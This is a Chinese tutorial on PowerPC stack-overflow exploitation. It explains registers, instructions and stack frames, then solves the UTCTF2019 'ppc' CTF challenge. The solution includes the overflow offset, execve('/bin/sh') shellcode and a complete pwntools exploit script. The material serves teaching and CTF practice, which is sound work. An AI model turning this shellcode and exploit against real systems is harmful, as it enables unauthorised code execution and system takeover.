PowerPC栈溢出初探:从放弃到getshell
字数 2345 2025-08-05 11:39:30
PowerPC栈溢出漏洞利用从入门到精通
1. PowerPC架构概述
PowerPC(Performance Optimization With Enhanced RISC - Performance Computing)是一种RISC架构的CPU,设计源自IBM的POWER架构。主要特点:
- 指令字长都是32bit,4字节对齐
- 大量通用寄存器(类似ARM和X64)
- 由Apple、IBM、Motorola组成的AIM联盟开发
2. PowerPC寄存器体系
2.1 主要寄存器
| 寄存器组 | 功能描述 |
|---|---|
| GPR0-GPR31 (32个) | 整数运算和寻址通用寄存器 |
| FPR0-FPR31 (32个) | 浮点运算寄存器 |
| LR | 链接寄存器,记录跳转地址 |
| CR | 条件寄存器,反映运算结果 |
| XER | 特殊寄存器,记录溢出和进位标志 |
| CTR | 计数器,类似x86的ECX |
| FPSCR | 浮点状态寄存器 |
2.2 寄存器分类
- 专用寄存器:有预定义永久功能的寄存器(如r1堆栈指针,r2 TOC指针)
- 易失性寄存器:r3-r12,函数可自由修改无需恢复
- 非易失性寄存器:r13及以上,使用前必须保存,返回前恢复
2.3 关键寄存器用途
| 寄存器 | 说明 |
|---|---|
| r0 | 函数开始时使用 |
| r1 (sp) | 堆栈指针 |
| r2 (rtoc) | 内容表指针,系统调用时包含系统调用号 |
| r3 | 第一个参数和返回值 |
| r4-r10 | 函数或系统调用参数 |
| r11 | 指针调用和环境指针 |
| r12 | 异常处理和动态链接器代码 |
| r13 | 系统线程ID |
| r14-r31 | 本地变量 |
3. PowerPC指令集
3.1 常用指令
| 指令 | 功能 |
|---|---|
li REG, VALUE |
加载立即数到寄存器 |
add REGA, REGB, REGC |
REGB + REGC → REGA |
addi REGA, REGB, VALUE |
REGB + VALUE → REGA |
mr REGA, REGB |
复制REGB到REGA |
or/ori |
逻辑或运算 |
ld REGA, 0(REGB) |
以REGB为地址加载到REGA |
lbz/lhz/lwz |
加载字节/半字/字(z表示清除其他位) |
b ADDRESS |
跳转到地址 |
bl ADDRESS |
子程序调用 |
cmpd REGA, REGB |
比较寄存器内容 |
beq/bne/blt/bgt |
条件跳转 |
std/stb/sth/stw |
存储数据 |
sc |
系统调用 |
3.2 指令缩写含义
- st = store
- ld = load
- r = right
- l = left/logical
- h = half word
- w = word
- d = dword
- u = update
- m = move
- f = from/field
- t = to/than
- i = Immediate
- z = zero
- b = branch
- n = and
- s = shift
- cmp = compare
- sub = subtract
- clr = clear
4. PowerPC栈帧结构
4.1 栈帧特点
- 栈由编译器维护,非CPU实现
- r1通常作为栈顶指针(sp)
- r11或r31通常作为栈底指针
- 函数返回值使用r3和r4寄存器
4.2 栈操作
PowerPC没有专用的Push/Pop指令,使用存储器访问指令代替:
stwu:代替Pushlwzu:代替Pop
4.3 典型栈帧布局
- 函数参数域:当参数多于6个时使用
- 局部变量域:临时寄存器不足时使用
- CR寄存器保存区
- 通用寄存器保存区
- 浮点寄存器保存区
4.4 函数调用示例
函数开头:
mflr %r0 ; 获取LR
stwu %r1, -88(%r1) ; 保存并移动SP
stw %r0, 92(%r1) ; 保存LR
stw %r28, 72(%r1) ; 保存非易失寄存器
函数结尾:
lwz %r0, 92(%r1) ; 恢复LR
mtlr %r0
lmw %r28, 72(%r1) ; 恢复非易失寄存器
addi %r1, %r1, 88 ; 移除栈帧
blr ; 返回
5. PowerPC栈溢出实战
5.1 漏洞分析(UTCTF2019 PPC)
- 漏洞函数:
encrypt() - 漏洞点:
memcpy(abStack136, buf, 1000),目标缓冲区仅104字节 - 保护机制:无NX、无PIE、无Canary
5.2 利用步骤
-
确定溢出长度:
- 静态分析:
abStack136在r31+0x68,LR保存在r31+0xf0+0x10 - 偏移计算:
0xf0+0x10-0x68 = 152字节
- 静态分析:
-
动态验证:
python -c "print('a'*152)" | ./ppc # LR未覆盖 python -c "print('a'*160)" | ./ppc # LR被覆盖 -
shellcode编写:
- 目标:
execve("/bin/sh", 0, 0) - 寄存器设置:
r0= 0xb (syscall号)r3= "/bin/sh"地址r4= 0r5= 0
示例shellcode:
xor 3,3,3 ; 清空r3 lis 3, 0x100d ; 加载高位地址 addi 3, 3, 0x2b64 ; 加载低位地址 xor 4,4,4 ; 清空r4 xor 5,5,5 ; 清空r5 li 0, 11 ; syscall号 sc ; 系统调用 .long 0x6e69622f ; "/bin" .long 0x68732f ; "/sh" - 目标:
-
绕过异或处理:
- 在payload前加8字节
\x00截断strlen - 所有地址计算需+8
- 在payload前加8字节
-
完整利用:
from pwn import * context.log_level = 'DEBUG' p = process('./ppc') shellcode = asm(""" xor 3,3,3 lis 3, 0x100d addi 3, 3, 0x2b64 xor 4,4,4 xor 5,5,5 li 0, 11 sc .long 0x6e69622f .long 0x68732f """) rop = p64(0) + shellcode rop = rop.ljust(152, 'A') rop += p64(0x100D2B40 + 8) # buf地址+8 p.sendlineafter('string\n', rop) p.interactive()
6. 调试技巧
- 使用qemu进行PowerPC调试
- Ghidra反汇编效果优于IDA
- 关键断点设置在函数返回前:
addi r1, r31, 0xf0 ld r0, 0x10(r1) mtlr r0 ld r31, -8(r1) blr
7. 总结
PowerPC栈溢出利用与x86架构类似,关键区别在于:
- 寄存器体系和调用约定不同
- 没有专用Push/Pop指令
- 系统调用使用
sc指令 - 需要特别注意非易失寄存器的保存与恢复
掌握PowerPC架构的栈帧结构和寄存器用途是漏洞利用的关键。